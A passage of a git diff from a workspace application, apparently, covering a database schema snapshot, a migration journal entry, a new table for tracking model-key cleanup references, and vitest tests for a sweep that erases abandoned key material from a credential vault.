+ "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_accounts_owner_agent_page_id_idx": { + "name": "agent_accounts_owner_agent_page_id_idx", + "columns": [ + { + "expression": "ownerAgentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_accounts_owner_drive_id_idx": { + "name": "agent_accounts_owner_drive_id_idx", + "columns": [ + { + "expression": "ownerDriveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_accounts_ownerUserId_users_id_fk": { + "name": "agent_accounts_ownerUserId_users_id_fk", + "tableFrom": "agent_accounts", + "tableTo": "users", + "columnsFrom": [ + "ownerUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_accounts_ownerAgentPageId_pages_id_fk": { + "name": "agent_accounts_ownerAgentPageId_pages_id_fk", + "tableFrom": "agent_accounts", + "tableTo": "pages", + "columnsFrom": [ + "ownerAgentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_accounts_ownerDriveId_drives_id_fk": { + "name": "agent_accounts_ownerDriveId_drives_id_fk", + "tableFrom": "agent_accounts", + "tableTo": "drives", + "columnsFrom": [ + "ownerDriveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_accounts_owner_scope_chk": { + "name": "agent_accounts_owner_scope_chk", + "value": "(\"agent_accounts\".\"ownerKind\" = 'user' AND \"agent_accounts\".\"ownerUserId\" IS NOT NULL AND \"agent_accounts\".\"ownerAgentPageId\" IS NULL AND \"agent_accounts\".\"ownerDriveId\" IS NULL)\n OR (\"agent_accounts\".\"ownerKind\" = 'agent_page' AND \"agent_accounts\".\"ownerUserId\" IS NULL AND \"agent_accounts\".\"ownerAgentPageId\" IS NOT NULL AND \"agent_accounts\".\"ownerDriveId\" IS NOT NULL)" + }, + "agent_accounts_tenant_derived_chk": { + "name": "agent_accounts_tenant_derived_chk", + "value": "(\"agent_accounts\".\"ownerKind\" = 'user' AND \"agent_accounts\".\"tenantId\" = 'user:' || \"agent_accounts\".\"ownerUserId\")\n OR (\"agent_accounts\".\"ownerKind\" = 'agent_page' AND \"agent_accounts\".\"tenantId\" = 'drive:' || \"agent_accounts\".\"ownerDriveId\")" + }, + "agent_accounts_allowed_origins_nonempty_chk": { + "name": "agent_accounts_allowed_origins_nonempty_chk", + "value": "jsonb_typeof(\"agent_accounts\".\"allowedOrigins\") = 'array' AND jsonb_array_length(\"agent_accounts\".\"allowedOrigins\") > 0" + }, + "agent_accounts_session_format_chk": { + "name": "agent_accounts_session_format_chk", + "value": "(\"agent_accounts\".\"kind\" = 'session') = (\"agent_accounts\".\"sessionFormat\" IS NOT NULL)" + }, + "agent_accounts_session_http_chk": { + "name": "agent_accounts_session_http_chk", + "value": "\"agent_accounts\".\"sessionHttpEnabled\" = false OR \"agent_accounts\".\"kind\" = 'session'" + }, + "agent_accounts_versions_chk": { + "name": "agent_accounts_versions_chk", + "value": "\"agent_accounts\".\"credentialVersion\" >= 0 AND \"agent_accounts\".\"policyVersion\" >= 1" + } + }, + "isRLSEnabled": false + }, + "public.user_builtin_agents": { + "name": "user_builtin_agents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_builtin_agents_user_key_idx": { + "name": "user_builtin_agents_user_key_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_builtin_agents_page_idx": { + "name": "user_builtin_agents_page_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_builtin_agents_userId_users_id_fk": { + "name": "user_builtin_agents_userId_users_id_fk", + "tableFrom": "user_builtin_agents", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_builtin_agents_pageId_pages_id_fk": { + "name": "user_builtin_agents_pageId_pages_id_fk", + "tableFrom": "user_builtin_agents", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.imago_drive_access": { + "name": "imago_drive_access", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "imago_drive_access_drive_idx": { + "name": "imago_drive_access_drive_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "imago_drive_access_userId_users_id_fk": { + "name": "imago_drive_access_userId_users_id_fk", + "tableFrom": "imago_drive_access", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "imago_drive_access_driveId_drives_id_fk": { + "name": "imago_drive_access_driveId_drives_id_fk", + "tableFrom": "imago_drive_access", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "imago_drive_access_userId_driveId_pk": { + "name": "imago_drive_access_userId_driveId_pk", + "columns": [ + "userId", + "driveId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feature_flag_user_overrides": { + "name": "feature_flag_user_overrides", + "schema": "", + "columns": { + "flag_key": { + "name": "flag_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_by": { + "name": "updated_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "feature_flag_user_overrides_user_idx": { + "name": "feature_flag_user_overrides_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "feature_flag_user_overrides_user_id_users_id_fk": { + "name": "feature_flag_user_overrides_user_id_users_id_fk", + "tableFrom": "feature_flag_user_overrides", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "feature_flag_user_overrides_flag_key_user_id_pk": { + "name": "feature_flag_user_overrides_flag_key_user_id_pk", + "columns": [ + "flag_key", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feature_flags": { + "name": "feature_flags", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "enabled_by_default": { + "name": "enabled_by_default", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_by": { + "name": "updated_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.model_key_cleanup_refs": { + "name": "model_key_cleanup_refs", + "schema": "", + "columns": { + "account_id": { + "name": "account_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tenant_id": { + "name": "tenant_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "model_key_cleanup_refs_created_idx": { + "name": "model_key_cleanup_refs_created_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.model_key_managed_conversations": { + "name": "model_key_managed_conversations", + "schema": "", + "columns": { + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "marked_at": { + "name": "marked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + } + }, + "enums": { + "public.AccountType": { + "name": "AccountType", + "schema": "public", + "values": [ + "human", + "agent" + ] + }, + "public.AuthProvider": { + "name": "AuthProvider", + "schema": "public", + "values": [ + "email", + "google", + "apple" + ] + }, + "public.PlatformType": { + "name": "PlatformType", + "schema": "public", + "values": [ + "web", + "desktop", + "ios", + "android" + ] + }, + "public.UserRole": { + "name": "UserRole", + "schema": "public", + "values": [ + "user", + "admin" + ] + }, + "public.DriveKind": { + "name": "DriveKind", + "schema": "public", + "values": [ + "STANDARD", + "HOME" + ] + }, + "public.FavoriteItemType": { + "name": "FavoriteItemType", + "schema": "public", + "values": [ + "page", + "drive" + ] + }, + "public.OrgDriveVisibility": { + "name": "OrgDriveVisibility", + "schema": "public", + "values": [ + "OPEN", + "RESTRICTED", + "PRIVATE" + ] + }, + "public.PageType": { + "name": "PageType", + "schema": "public", + "values": [ + "FOLDER", + "DOCUMENT", + "CHANNEL", + "AI_CHAT", + "CANVAS", + "FILE", + "SHEET", + "TASK_LIST", + "CODE", + "MACHINE" + ] + }, + "public.DriveMemberSource": { + "name": "DriveMemberSource", + "schema": "public", + "values": [ + "invite", + "org" + ] + }, + "public.MemberRole": { + "name": "MemberRole", + "schema": "public", + "values": [ + "OWNER", + "ADMIN", + "MEMBER", + "GUEST" + ] + }, + "public.pulse_summary_type": { + "name": "pulse_summary_type", + "schema": "public", + "values": [ + "scheduled", + "on_demand", + "welcome" + ] + }, + "public.NotificationType": { + "name": "NotificationType", + "schema": "public", + "values": [ + "PERMISSION_GRANTED", + "PERMISSION_REVOKED", + "PERMISSION_UPDATED", + "PAGE_SHARED", + "DRIVE_INVITED", + "DRIVE_JOINED", + "DRIVE_ROLE_CHANGED", + "CONNECTION_REQUEST", + "CONNECTION_ACCEPTED", + "CONNECTION_REJECTED", + "NEW_DIRECT_MESSAGE", + "EMAIL_VERIFICATION_REQUIRED", + "TOS_PRIVACY_UPDATED", + "MENTION", + "TASK_ASSIGNED", + "AUTOMATION_SKIPPED", + "WALLET_DEBT", + "WALLET_CAP_ALERT", + "PRODUCT_UPDATE" + ] + }, + "public.toast_notification_level": { + "name": "toast_notification_level", + "schema": "public", + "values": [ + "all", + "mentions", + "off" + ] + }, + "public.display_preference_type": { + "name": "display_preference_type", + "schema": "public", + "values": [ + "SHOW_TOKEN_COUNTS", + "SHOW_CODE_TOGGLE", + "DEFAULT_MARKDOWN_MODE" + ] + }, + "public.activity_change_group_type": { + "name": "activity_change_group_type", + "schema": "public", + "values": [ + "user", + "ai", + "automation", + "system" + ] + }, + "public.activity_resource": { + "name": "activity_resource", + "schema": "public", + "values": [ + "page", + "drive", + "permission", + "agent", + "user", + "member", + "role", + "file", + "token", + "device", + "message", + "conversation" + ] + }, + "public.content_format": { + "name": "content_format", + "schema": "public", + "values": [ + "text", + "html", + "json", + "tiptap" + ] + }, + "public.http_method": { + "name": "http_method", + "schema": "public", + "values": [ + "GET", + "POST", + "PUT", + "DELETE", + "PATCH", + "HEAD", + "OPTIONS" + ] + }, + "public.log_level": { + "name": "log_level", + "schema": "public", + "values": [ + "trace", + "debug", + "info", + "warn", + "error", + "fatal" + ] + }, + "public.drive_backup_schedule_frequency": { + "name": "drive_backup_schedule_frequency", + "schema": "public", + "values": [ + "daily", + "weekly", + "monthly" + ] + }, + "public.drive_backup_source": { + "name": "drive_backup_source", + "schema": "public", + "values": [ + "manual", + "scheduled", + "pre_restore", + "system" + ] + }, + "public.drive_backup_status": { + "name": "drive_backup_status", + "schema": "public", + "values": [ + "pending", + "ready", + "failed" + ] + }, + "public.page_version_source": { + "name": "page_version_source", + "schema": "public", + "values": [ + "manual", + "auto", + "pre_ai", + "pre_restore", + "restore", + "system" + ] + }, + "public.ConnectionStatus": { + "name": "ConnectionStatus", + "schema": "public", + "values": [ + "PENDING", + "ACCEPTED", + "BLOCKED" + ] + }, + "public.PushPlatformType": { + "name": "PushPlatformType", + "schema": "public", + "values": [ + "ios", + "android", + "web" + ] + }, + "public.integration_connection_status": { + "name": "integration_connection_status", + "schema": "public", + "values": [ + "active", + "expired", + "error", + "pending", + "revoked" + ] + }, + "public.integration_provider_type": { + "name": "integration_provider_type", + "schema": "public", + "values": [ + "builtin", + "openapi", + "custom", + "mcp", + "webhook" + ] + }, + "public.integration_visibility": { + "name": "integration_visibility", + "schema": "public", + "values": [ + "private", + "owned_drives", + "all_drives" + ] + }, + "public.AttendeeStatus": { + "name": "AttendeeStatus", + "schema": "public", + "values": [ + "PENDING", + "ACCEPTED", + "DECLINED", + "TENTATIVE" + ] + }, + "public.EventVisibility": { + "name": "EventVisibility", + "schema": "public", + "values": [ + "DRIVE", + "ATTENDEES_ONLY", + "PRIVATE" + ] + }, + "public.GoogleCalendarConnectionStatus": { + "name": "GoogleCalendarConnectionStatus", + "schema": "public", + "values": [ + "active", + "expired", + "error", + "disconnected" + ] + }, + "public.RecurrenceFrequency": { + "name": "RecurrenceFrequency", + "schema": "public", + "values": [ + "DAILY", + "WEEKLY", + "MONTHLY", + "YEARLY" + ] + }, + "public.WorkflowTriggerType": { + "name": "WorkflowTriggerType", + "schema": "public", + "values": [ + "cron", + "event" + ] + }, + "public.WorkflowRunSourceTable": { + "name": "WorkflowRunSourceTable", + "schema": "public", + "values": [ + "taskTriggers", + "calendarTriggers", + "webhookTriggers", + "cron", + "manual" + ] + }, + "public.WorkflowRunStatus": { + "name": "WorkflowRunStatus", + "schema": "public", + "values": [ + "running", + "success", + "error", + "cancelled" + ] + }, + "public.WorkflowRunStepStatus": { + "name": "WorkflowRunStepStatus", + "schema": "public", + "values": [ + "running", + "success", + "error", + "skipped" + ] + }, + "public.TaskTriggerType": { + "name": "TaskTriggerType", + "schema": "public", + "values": [ + "due_date", + "completion" + ] + }, + "public.DriveJoinRequestStatus": { + "name": "DriveJoinRequestStatus", + "schema": "public", + "values": [ + "pending", + "approved", + "denied", + "withdrawn" + ] + }, + "public.ZoomConnectionStatus": { + "name": "ZoomConnectionStatus", + "schema": "public", + "values": [ + "active", + "expired", + "error", + "disconnected" + ] + }, + "public.ContentTagAnchorStatus": { + "name": "ContentTagAnchorStatus", + "schema": "public", + "values": [ + "exact", + "shifted", + "fuzzy", + "orphaned" + ] + }, + "public.ContentTagSource": { + "name": "ContentTagSource", + "schema": "public", + "values": [ + "user", + "ai", + "system", + "rule" + ] + }, + "public.ContentTagTargetKind": { + "name": "ContentTagTargetKind", + "schema": "public", + "values": [ + "page", + "text", + "sheet_cell", + "channel_message", + "ai_message" + ] + }, + "public.custom_domain_status": { + "name": "custom_domain_status", + "schema": "public", + "values": [ + "pending", + "verified", + "failed", + "provisioning", + "active", + "dns_failed", + "cert_failed" + ] + }, + "public.data_subject_request_status": { + "name": "data_subject_request_status", + "schema": "public", + "values": [ + "pending", + "queued", + "in_progress", + "blocked", + "completed", + "failed", + "cancelled" + ] + }, + "public.data_subject_request_type": { + "name": "data_subject_request_type", + "schema": "public", + "values": [ + "erasure", + "export", + "access", + "rectification", + "restriction", + "portability", + "objection" + ] + }, + "public.data_subject_requester_type": { + "name": "data_subject_requester_type", + "schema": "public", + "values": [ + "self", + "admin" + ] + }, + "public.OAuthClientType": { + "name": "OAuthClientType", + "schema": "public", + "values": [ + "public", + "confidential" + ] + }, + "public.published_app_status": { + "name": "published_app_status", + "schema": "public", + "values": [ + "provisioning", + "building", + "deploying", + "running", + "stopped", + "parked", + "destroying", + "failed" + ] + }, + "public.published_app_tier": { + "name": "published_app_tier", + "schema": "public", + "values": [ + "metered", + "dedicated" + ] + }, + "public.broadcast_recipient_status": { + "name": "broadcast_recipient_status", + "schema": "public", + "values": [ + "pending", + "sent", + "skipped", + "failed" + ] + }, + "public.email_broadcast_content_mode": { + "name": "email_broadcast_content_mode", + "schema": "public", + "values": [ + "compose", + "template" + ] + }, + "public.email_broadcast_engine": { + "name": "email_broadcast_engine", + "schema": "public", + "values": [ + "transactional", + "resend_broadcast" + ] + }, + "public.email_broadcast_status": { + "name": "email_broadcast_status", + "schema": "public", + "values": [ + "draft", + "pending", + "queued", + "in_progress", + "paused", + "completed", + "failed", + "cancelled" + ] + }, + "public.OrgRole": { + "name": "OrgRole", + "schema": "public", + "values": [ + "OWNER", + "ADMIN", + "MEMBER" + ] + }, + "public.agent_account_acknowledgment": { + "name": "agent_account_acknowledgment", + "schema": "public", + "values": [ + "dedicated_agent_account", + "personal_login_acknowledged" + ] + }, + "public.agent_account_approval_outcome": { + "name": "agent_account_approval_outcome", + "schema": "public", + "values": [ + "allow_once", + "always", + "deny" + ] + }, + "public.agent_account_kind": { + "name": "agent_account_kind", + "schema": "public", + "values": [ + "api_key", + "bearer", + "oauth2", + "session", + "password", + "ssh_key" + ] + }, + "public.agent_account_owner_kind": { + "name": "agent_account_owner_kind", + "schema": "public", + "values": [ + "user", + "agent_page" + ] + }, + "public.agent_account_session_format": { + "name": "agent_account_session_format", + "schema": "public", + "values": [ + "cookie-jar-v1", + "storage-state-v1", + "human-relogin" + ] + }, + "public.agent_account_status": { + "name": "agent_account_status", + "schema": "public", + "values": [ + "active", + "revoked", + "needs_reauth", + "deleted" + ] + }, + "public.agent_account_upstream_revocation": { + "name": "agent_account_upstream_revocation", + "schema": "public", + "values": [ + "not_attempted", + "revoked", + "unsupported", + "failed" + ] + } + }, + "schemas": {}, + "sequences": {}, + "roles": {}, + "policies": {}, + "views": {}, + "_meta": { + "columns": {}, + "schemas": {}, + "tables": {} + } +} \ No newline at end of file diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json index ca2b214876..61f055c1cc 100644 --- a/packages/db/drizzle/meta/_journal.json +++ b/packages/db/drizzle/meta/_journal.json @@ -2556,6 +2556,13 @@ "when": 1796019148397, "tag": "0395_byok_feature_flags", "breakpoints": true + }, + { + "idx": 365, + "version": "7", + "when": 1796047071684, + "tag": "0396_model_key_cleanup_refs", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/db/src/schema/model-key-history.ts b/packages/db/src/schema/model-key-history.ts index 9dae308936..2d5012da7d 100644 --- a/packages/db/src/schema/model-key-history.ts +++ b/packages/db/src/schema/model-key-history.ts @@ -8,9 +8,33 @@ * Keyed by conversation id alone: it names no person, and it is written before the conversation row may exist (a * first turn), so it carries no foreign key. */ -import { pgTable, text, timestamp } from 'drizzle-orm/pg-core'; +import { index, pgTable, text, timestamp } from 'drizzle-orm/pg-core'; export const modelKeyManagedConversations = pgTable('model_key_managed_conversations', { conversationId: text('conversation_id').primaryKey(), markedAt: timestamp('marked_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), }); + +/** + * BYOK (ADR 0009) — where a model key's material may sit in the vault before the plane has confirmed it. A save writes + * the row BEFORE the plane's first write and clears it once the write is known (committed, so the plane's own + * metadata references the material; or refused, so nothing was stored). A write never confirmed leaves the row, and + * the plane's abandoned-model-key sweep deletes the material and then the row. + * + * No foreign key, on purpose: the reference must outlive the account row and its owner. Deleting the person cascades + * the account row away, and a write the plane never confirmed has no plane metadata either, so this row is then the + * only thing that can still find the material. It holds ids only (the account's and its plane tenant's), and is gone + * once the sweep has erased the material. + */ +export const modelKeyCleanupRefs = pgTable( + 'model_key_cleanup_refs', + { + accountId: text('account_id').primaryKey(), + tenantId: text('tenant_id').notNull(), + kind: text('kind').notNull(), + createdAt: timestamp('created_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), + }, + (table) => ({ + createdIdx: index('model_key_cleanup_refs_created_idx').on(table.createdAt, table.accountId), + }), +); diff --git a/packages/lib/package.json b/packages/lib/package.json index a209e215c4..53e41e9083 100644 --- a/packages/lib/package.json +++ b/packages/lib/package.json @@ -3401,6 +3401,11 @@ "import": "./dist/agent-accounts/agent-account-repository.js", "require": "./dist/agent-accounts/agent-account-repository.js" }, + "./agent-accounts/model-key-cleanup-repository": { + "types": "./dist/agent-accounts/model-key-cleanup-repository.d.ts", + "import": "./dist/agent-accounts/model-key-cleanup-repository.js", + "require": "./dist/agent-accounts/model-key-cleanup-repository.js" + }, "./agent-accounts/plane-client": { "types": "./dist/agent-accounts/plane-client.d.ts", "import": "./dist/agent-accounts/plane-client.js", diff --git a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts index dfc335ff10..59eb565f68 100644 --- a/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/abandoned-model-key-sweep.test.ts @@ -1,37 +1,45 @@ /** - * ADR 0009: `sweepAbandonedModelKeys` erases the material of a model key whose save gave up without the plane - * confirming its write, with no further action from the person. The plane may hold that material with no metadata - * row, so `sweepOrphanedRefs` cannot see it; the never-activated account row is what finds it. + * ADR 0009: `sweepAbandonedModelKeys` erases what a model key's save left in the vault when that save never + * finished, from the cleanup ref the save recorded before its first vault write. The plane may hold that material + * with no metadata row (so `sweepOrphanedRefs` cannot see it), and the person and their account row may be gone. */ import { describe, expect, it } from 'vitest'; import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; import type { DeleteInput, DeleteResult } from '../store/store-adapter'; +import type { ModelKeyCleanupRef } from '../model-key-cleanup-repository'; import { sweepAbandonedModelKeys } from '../executor/plane-orphan-sweep-worker'; import { ORPHAN_GRACE_MS } from '../executor/decide-orphaned-refs'; -import { MODEL_KEY_PROVIDER_SLUG } from '../inference/model-key'; const NOW = 50_000_000; +const OK: DeleteResult = { ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult; -const row = (id: string, tenantId = 'tenant_1', createdAt = 1_000) => ({ id, tenantId, kind: 'api_key', createdAt: new Date(createdAt) }) as unknown as AgentAccountRecord; +const ref = (accountId: string, tenantId = 'tenant_1', createdAt = 1_000): ModelKeyCleanupRef => ({ accountId, tenantId, kind: 'api_key', createdAt: new Date(createdAt) }); +const accountRow = (id: string, credentialVersion: number) => ({ id, credentialVersion }) as unknown as AgentAccountRecord; -type Cursor = { readonly createdAt: Date; readonly id: string } | null; -const pastCursor = (r: AgentAccountRecord, after: Cursor) => - after === null || r.createdAt.getTime() > after.createdAt.getTime() || (r.createdAt.getTime() === after.createdAt.getTime() && r.id > after.id); +type Cursor = { readonly createdAt: Date; readonly accountId: string } | null; +const pastCursor = (r: ModelKeyCleanupRef, after: Cursor) => + after === null || r.createdAt.getTime() > after.createdAt.getTime() || (r.createdAt.getTime() === after.createdAt.getTime() && r.accountId > after.accountId); +const onePage = (refs: ModelKeyCleanupRef[]) => async ({ after }: { after: Cursor }) => (after === null ? refs : []); -function world({ rows, deleteAnswers = {}, tenants = ['tenant_1'] }: { rows: AgentAccountRecord[]; deleteAnswers?: Record; tenants?: string[] }) { - const table = new Map(rows.map((r) => [r.id, r])); +function world({ refs, rows = [], deleteAnswers = {}, tenants = ['tenant_1'] }: { refs: ModelKeyCleanupRef[]; rows?: AgentAccountRecord[]; deleteAnswers?: Record; tenants?: string[] }) { + const refTable = new Map(refs.map((r) => [r.accountId, r])); + const rowTable = new Map(rows.map((r) => [r.id, r])); const listed: unknown[] = []; const deleted: DeleteInput[] = []; - const accounts = { + const cleanupRefs = { // Like the real query: oldest first, after the cursor, one page at a time. - listUnactivated: async (input: { providerSlug: string; createdBefore: number; after: Cursor; limit: number }) => { + listDue: async (input: { createdBefore: number; after: Cursor; limit: number }) => { listed.push(input); - return [...table.values()] + return [...refTable.values()] .filter((r) => pastCursor(r, input.after)) - .sort((a, b) => a.createdAt.getTime() - b.createdAt.getTime() || (a.id < b.id ? -1 : 1)) + .sort((a, b) => a.createdAt.getTime() - b.createdAt.getTime() || (a.accountId < b.accountId ? -1 : 1)) .slice(0, input.limit); }, - remove: async (id: string) => void table.delete(id), + clear: async (accountId: string) => void refTable.delete(accountId), + }; + const accounts = { + find: async (id: string) => rowTable.get(id) ?? null, + remove: async (id: string) => void rowTable.delete(id), }; const provisioner = { identityOf: async (tenantId: string) => (tenants.includes(tenantId) ? ({ identityId: `identity_${tenantId}` } as never) : null), @@ -39,54 +47,64 @@ function world({ rows, deleteAnswers = {}, tenants = ['tenant_1'] }: { rows: Age const store = { delete: async (input: DeleteInput): Promise => { deleted.push(input); - const answer = deleteAnswers[input.ref.accountId] ?? ({ ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult); + const answer = deleteAnswers[input.ref.accountId] ?? OK; if (answer === 'throws') throw new Error('plane down'); return answer; }, }; - const sweep = () => sweepAbandonedModelKeys({ accounts, provisioner, store, now: () => NOW }); - return { table, listed, deleted, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; + const sweep = () => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, now: () => NOW }); + return { refTable, rowTable, listed, deleted, sweep, answer: (id: string, result: DeleteResult | 'throws') => void (deleteAnswers[id] = result) }; } describe('sweepAbandonedModelKeys', () => { - it('given a model key a save abandoned past the grace period, should delete its material and then its row, without the person doing anything', async () => { - const w = world({ rows: [row('acct_1')] }); + it('given a save whose owner was deleted before its write was confirmed (no account row left), should still delete the material and then the ref', async () => { + const w = world({ refs: [ref('acct_1')] }); const result = await w.sweep(); expect({ result, listed: w.listed, deleted: w.deleted.map((d) => ({ ref: d.ref, channel: d.identity.channel, identityId: d.identity.identityId })), - rows: [...w.table.keys()], + refs: [...w.refTable.keys()], }).toEqual({ result: { scanned: 1, erased: 1, failed: 0 }, - listed: [{ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore: NOW - ORPHAN_GRACE_MS, after: null, limit: 200 }], + listed: [{ createdBefore: NOW - ORPHAN_GRACE_MS, after: null, limit: 200 }], deleted: [{ ref: { tenantId: 'tenant_1', accountId: 'acct_1', kind: 'api_key' }, channel: 'manage', identityId: 'identity_tenant_1' }], - rows: [], + refs: [], }); }); - it('given a delete the plane cannot do this run, should keep the row and erase it on a later run', async () => { - const w = world({ rows: [row('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'store_unavailable' } as DeleteResult } }); + it('given a save stranded before activation (its row still at credentialVersion 0), should delete the material, the row and the ref', async () => { + const w = world({ refs: [ref('acct_1')], rows: [accountRow('acct_1', 0)] }); + expect([await w.sweep(), w.deleted.length, [...w.rowTable.keys()], [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, 1, [], []]); + }); + + it('given a ref left behind by a key that was activated, should drop only the ref and never touch the key', async () => { + const w = world({ refs: [ref('acct_1')], rows: [accountRow('acct_1', 1)] }); + expect([await w.sweep(), w.deleted.length, [...w.rowTable.keys()], [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, 0, ['acct_1'], []]); + }); + + it('given a delete the plane cannot do this run, should keep the ref and erase it on a later run', async () => { + const w = world({ refs: [ref('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'store_unavailable' } as DeleteResult } }); const first = await w.sweep(); - const keptAfterFirst = [...w.table.keys()]; + const keptAfterFirst = [...w.refTable.keys()]; w.answer('acct_1', 'throws'); const second = await w.sweep(); - w.answer('acct_1', { ok: true, removed: true, upstream: 'not_attempted' } as 